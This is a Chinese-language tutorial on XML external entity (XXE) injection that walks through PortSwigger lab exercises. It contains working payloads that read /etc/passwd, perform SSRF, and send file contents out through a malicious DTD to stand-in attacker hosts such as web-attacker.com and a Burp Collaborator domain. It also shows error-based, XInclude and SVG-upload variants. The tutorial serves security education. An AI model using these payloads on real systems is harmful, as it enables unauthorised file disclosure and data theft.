WEB安全之XXE实体注入

WEB安全之XXE实体注入

基础知识

什么是 XML?

XML代表“可扩展标记语言”。XML 是一种设计用于存储和传输数据的语言。与 HTML 一样,XML 使用标记和数据的树状结构。与 HTML 不同,XML 不使用预定义的标记,因此可以为标记指定描述数据的名称。在Web历史的早期,XML作为一种数据传输格式很流行(“AJAX”中的“X”代表“XML”)。但它的受欢迎程度现在已经下降,取而代之的是JSON格式。

什么是 XML 实体?

XML 实体是一种表示 XML 文档中数据项的方法,而不是使用数据本身。各种实体内置于 XML 语言的规范中。例如,实体和表示字符和.这些是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用其实体来表示。<``>``<``>

什么是文档类型定义?

XML 文档类型定义 (DTD) 包含可以定义 XML 文档的结构、它可以包含的数据值类型以及其他项的声明。DTD 在 XML 文档开头的可选元素中声明。DTD 可以在文档本身中完全自包含(称为“内部 DTD”),也可以从其他位置加载(称为“外部 DTD”),也可以是两者的混合。DOCTYPE
示例代码:

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
示例代码:

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

什么是 XML 自定义实体?
XML 允许在 DTD 中定义自定义实体。例如:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

此定义意味着 XML 文档中实体引用的任何用法都将替换为定义的值:“”。&myentity;``my entity value,其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的.
示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
实例代码:

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

什么是 XML 外部实体?

XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD 外部。
外部实体的声明使用该关键字,并且必须指定应从中加载实体值的 URL。例如:SYSTEM

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URL 可以使用协议,因此可以从文件加载外部实体。例如:file://

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XML 外部实体提供产生 XML 外部实体攻击的主要方式。

XXE 攻击有哪些类型?

01、利用 XXE 检索文件

要执行从服务器文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:

  • 引入(或编辑)定义包含文件路径的外部实体的元素。DOCTYPE
  • 编辑应用程序响应中返回的 XML 中的数据值,以使用定义的外部实体。

例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>

应用程序不对 XXE 攻击执行任何特定防御,因此您可以通过提交以下 XXE 有效负载来利用 XXE 漏洞来检索文件:/etc/passwd

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>

此 XXE 有效负载定义一个外部实体,其值是文件的内容,并使用值中的实体。这会导致应用程序的响应包含文件的内容:&xxe;``/etc/passwd``productId

Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

下面用:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files进行演示复现:
在检查库存处可以看到xml文档类型,我们进行xml实体注入进行验证:
image-20230711111625582.png
image-20230711132036457.png

02、利用XXE执行SSRF攻击

除了检索敏感数据之外,XXE 攻击的另一个主要影响是它们可用于执行服务器端请求伪造 (SSRF)。这是一个潜在的严重漏洞,其中可能会诱使服务器端应用程序向服务器可以访问的任何 URL 发出 HTTP 请求。
要利用 XXE 漏洞执行 SSRF 攻击,您需要使用要作为目标的 URL 定义外部 XML 实体,并在数据值中使用定义的实体。如果可以在应用程序响应中返回的数据值中使用定义的实体,则可以在应用程序的响应中查看来自 URL 的响应,从而获得与后端系统的双向交互。否则,您将只能执行盲目 SSRF 攻击(这仍然可能产生严重后果)。
在下面的 XXE 示例中,外部实体将导致服务器向组织基础结构中的内部系统发出后端 HTTP 请求:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

image-20230711132851852.png
按照提示的Invalid product ID:的值进行填写
image-20230711133119602.png

带外交互的盲 注XXE

03、使用带外 (OAST) 技术检测盲 XXE

您通常可以使用与 XXE SSRF 攻击相同的技术检测盲 XXE,但会触发与您控制的系统的带外网络交互。例如,您可以按如下方式定义外部实体:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

然后,您将在 XML 中的数据值中使用定义的实体。
此 XXE 攻击会导致服务器向指定的 URL 发出后端 HTTP 请求。攻击者可以监视生成的 DNS 查找和 HTTP 请求,从而检测到 XXE 攻击是否成功。
image-20230711160230831.png
查看
image-20230711160251679.png

04、通过 XML 参数实体进行带外交互的盲 XXE

有时,由于应用程序的某些输入验证或正在使用的 XML 分析器的某些强化,使用常规实体的 XXE 攻击会被阻止。在这种情况下,您可以改用 XML 参数实体。XML 参数实体是一种特殊的 XML 实体,只能在 DTD 中的其他位置引用。就目前而言,您只需要知道两件事。首先,XML 参数实体的声明在实体名称之前包含百分号字符:

<!ENTITY % myparameterentity "my parameter entity value" >

其次,参数实体使用百分比字符而不是通常的 & 符号引用:

%myparameterentity;

这意味着您可以通过 XML 参数实体使用带外检测来测试盲 XXE,如下所示:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

此 XXE 有效负载声明一个调用的 XML 参数实体,然后使用 DTD 中的实体。这将导致对攻击者的域进行 DNS 查找和 HTTP 请求,从而验证攻击是否成功。xxe
image-20230711161714384.png
验证:
image-20230711161729895.png

05、利用盲 XXE 在带外泄露数据

通过带外技术检测盲 XXE 漏洞非常好,但它实际上并没有展示如何利用该漏洞。攻击者真正想要实现的是泄露敏感数据。这可以通过盲 XXE 漏洞来实现,但它涉及攻击者在他们控制的系统上托管恶意 DTD,然后从带内 XXE 有效负载中调用外部 DTD。
恶意 DTD 泄露文件内容的示例如下:/etc/passwd

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;

此 DTD 执行以下步骤:

  • 定义一个名为 的 XML 参数实体,其中包含文件的内容。file``/etc/passwd
  • 定义一个名为 的 XML 参数实体,其中包含另一个名为 的 XML 参数实体的动态声明。将通过向攻击者的 Web 服务器发出包含 URL 查询字符串中实体值的 HTTP 请求来评估实体。eval``exfiltrate``exfiltrate``file
  • 使用实体,这将导致执行实体的动态声明。eval``exfiltrate
  • 使用实体,以便通过请求指定的 URL 来计算其值。exfiltrate

然后,攻击者必须在他们控制的系统上托管恶意 DTD,通常是通过将其加载到他们自己的 Web 服务器上。例如,攻击者可能会在以下 URL 上提供恶意 DTD:

http://web-attacker.com/malicious.dtd

最后,攻击者必须向易受攻击的应用程序提交以下 XXE 有效负载:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

此 XXE 有效负载声明一个调用的 XML 参数实体,然后使用 DTD 中的实体。这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并将其内联解释。然后执行恶意 DTD 中定义的步骤,并将文件传输到攻击者的服务器。xxe``/etc/passwd

注意

此方法可能不适用于某些文件内容,包括文件中包含的换行符。这是因为某些 XML 分析器使用验证允许出现在 URL 中的字符的 API 提取外部实体定义中的 URL。在这种情况下,可以使用 FTP 协议而不是 HTTP。有时,无法泄露包含换行符的数据,因此可以改为针对 这样的文件。/etc/passwd``/etc/hostname
使用Burp Suite Professional,转到 Burp 菜单,然后启动Burp Collaborator 客户端。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
将 Burp Collaborator 负载放入恶意 DTD 文件中:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;

image-20230711163636900.png
单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞利用”并记下 URL
image-20230711164233899.png
在 XML 声明和stockCheck元素之间插入以下外部实体定义:

-` <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>`

image-20230711164255557.png

06、利用盲 XXE 通过错误消息检索数据

利用盲 XXE 的另一种方法是触发 XML 分析错误,其中错误消息包含要检索的敏感数据。如果应用程序在其响应中返回生成的错误消息,这将有效。
您可以使用恶意外部 DTD 触发包含文件内容的 XML 分析错误消息,如下所示:/etc/passwd

<!ENTITY % file SYSTEM "file:///etc/passwd"> 
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %error;

此 DTD 执行以下步骤:

  • 定义一个名为 的 XML 参数实体,其中包含文件的内容。file``/etc/passwd
  • 定义一个名为 的 XML 参数实体,其中包含另一个名为 的 XML 参数实体的动态声明。将通过加载名称包含实体值的不存在的文件来评估实体。eval``error``error``file
  • 使用实体,这将导致执行实体的动态声明。eval``error
  • 使用该实体,以便通过尝试加载不存在的文件来计算其值,从而导致包含不存在的文件的名称(即文件的内容)的错误消息。error``/etc/passwd

调用恶意外部 DTD 将导致如下所示的错误消息:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

攻击服务器:
image-20230711170035914.png
image-20230711170051962.png

07、通过重新利用本地 DTD 来利用盲 XXE

上述技术适用于外部 DTD,但通常不适用于元素中完全指定的内部 DTD。这是因为该技术涉及在另一个参数实体的定义中使用 XML 参数实体。根据 XML 规范,这在外部 DTD 中是允许的,但在内部 DTD 中是不允许的。(一些解析器可能会容忍它,但许多解析器不会。DOCTYPE
那么,当带外交互被阻止时,盲目XXE漏洞呢?不能通过带外连接泄露数据,也不能从远程服务器加载外部 DTD。
在这种情况下,由于 XML 语言规范中的漏洞,可能仍可能触发包含敏感数据的错误消息。如果文档的 DTD 混合使用内部和外部 DTD 声明,则内部 DTD 可以重新定义在外部 DTD 中声明的实体。发生这种情况时,将放宽在另一个参数实体的定义中使用 XML 参数实体的限制。
这意味着攻击者可以从内部 DTD 中采用基于错误的 XXE 技术,前提是他们使用的 XML 参数实体正在重新定义在外部 DTD 中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部DTD。相反,它必须是应用程序服务器本地的外部 DTD 文件。从本质上讲,该攻击涉及调用恰好存在于本地文件系统上的 DTD 文件,并重新调整其用途以重新定义现有实体,从而触发包含敏感数据的解析错误。这项技术由Arseniy Sharoglazov开创,并在我们7年十大网络黑客技术中排名#10。
例如,假设该位置的服务器文件系统上有一个 DTD 文件,并且此 DTD 文件定义了一个名为 的实体。攻击者可以通过提交如下所示的混合 DTD 来触发包含文件内容的 XML 分析错误消息:/usr/local/app/schema.dtd``custom_entity``/etc/passwd

<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % custom_entity ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>

此 DTD 执行以下步骤:

  • 定义一个名为 的 XML 参数实体,其中包含服务器文件系统上存在的外部 DTD 文件的内容。local_dtd
  • 重新定义名为 的 XML 参数实体,该实体已在外部 DTD 文件中定义。该实体被重新定义为包含已描述的基于错误的 XXE 攻击,用于触发包含文件内容的错误消息。custom_entity``/etc/passwd
  • 使用实体,以便解释外部 DTD,包括实体的重新定义值。这会导致所需的错误消息。local_dtd``custom_entity

查找要重新调整用途的现有 DTD 文件
由于此 XXE 攻击涉及重新利用服务器文件系统上的现有 DTD,因此关键要求是找到合适的文件。这实际上非常简单。由于应用程序返回 XML 分析器引发的任何错误消息,因此只需尝试从内部 DTD 中加载本地 DTD 文件即可轻松枚举这些文件。
例如,使用 GNOME 桌面环境的 Linux 系统通常有一个 DTD 文件。您可以通过提交以下 XXE 有效负载来测试此文件是否存在,如果文件丢失,这将导致错误:/usr/share/yelp/dtd/docbookx.dtd

<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %local_dtd; ]>

测试常见 DTD 文件列表以查找存在的文件后,需要获取该文件的副本并查看它以查找可以重新定义的实体。由于许多包含DTD文件的常见系统都是开源的,因此您通常可以通过互联网搜索快速获取文件的副本。
image-20230711170900179.png

08、利用 XInclude 检索文件

什么是XInclude? 顾名思义,xinclude可以理解为xml include
熟悉编译/脚本语言的一定熟知,像php的include,python和java的import都是可以进行文件包含的
xinclude的语法介绍
xinclude的语法相对来说,非常简单,只是在http://www.w3.org/2003/XInclude命名空间中的两个元素,即 include 和 fallback
常用的命名空间前缀是“xi”(但可以根据喜好自由使用任何前缀)
xi:include 元素
元素中的几个属性:

  • href — 对要包括的文档的 URI 引用。
  • parse — 它的值可以是“xml”或“text”,用于定义如何包括指定的文档(是作为 XML 还是作为纯文本)。默认值是“xml”。
  • xpointer — 这是一个 XPointer,用于标识要包括的 XML 文档部分。如果作为文本包括 (parse=”text”),将忽略该属性。

encoding — 作为文本包括时,该属性提供所包括文档的编码提示信息。
样例如下:

<xi:include href="test.xml" parse="text"/>

xi:fallback 元素
简单而言,类似于try...except...,如果xinclude的内容出现问题,则显示fallback的内容
例如

<xi:include href="test.xml" parse="text"/>
    <xi:fallback>Sorry, the file is unavailable<xi:fallback>
</xi:include>

此时解析xml后,若test.xml不存在,则会解析获取到Sorry, the file is unavailable
某些应用程序接收客户端提交的数据,将其嵌入服务器端的 XML 文档中,然后分析该文档。例如,将客户端提交的数据放入后端 SOAP 请求中,然后由后端 SOAP 服务处理该请求。
在此情况下,您无法执行经典的 XXE 攻击,因为您不控制整个 XML 文档,因此无法定义或修改元素。但是,您可以改用。 是 XML 规范的一部分,它允许从子文档构建 XML 文档。可以在 XML 文档的任何数据值中放置攻击,因此在仅控制放入服务器端 XML 文档中的单个数据项的情况下,可以执行攻击。DOCTYPE``XInclude``XInclude``XInclude
若要执行攻击,需要引用命名空间并提供要包含的文件的路径。例如:XInclude``XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

image-20230712162915062.png

09、通过文件上传进行 XXE 攻击

一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。
例如,应用程序可能允许用户上载图像,并在上载后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,所使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意 SVG 图像,从而到达 XXE 漏洞的隐藏攻击面。
1.使用以下内容创建本地 SVG 图像:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

2.在博客文章上发表评论,并上传此图片作为头像。
3.查看评论时,您应该会``在图像中看到/etc/hostname文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。
image-20230712163946537.png

10、通过修改的内容类型进行 XXE 攻击

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如 。某些网站希望接收此格式的请求,但会容忍其他内容类型,包括 XML。application/x-www-form-urlencoded
例如,如果普通请求包含以下内容:

POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar

然后,您可以提交以下请求,结果相同:

POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,则只需重新格式化请求以使用 XML 格式即可访问隐藏的 XXE 攻击面。

注意

请记住,XML 只是一种数据传输格式。确保还针对其他漏洞(如 XSSSQL 注入)测试任何基于 XML 的功能。您可能需要使用 XML 转义序列对有效负载进行编码以避免破坏语法,但您也可以使用它来混淆攻击,以绕过弱防御。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值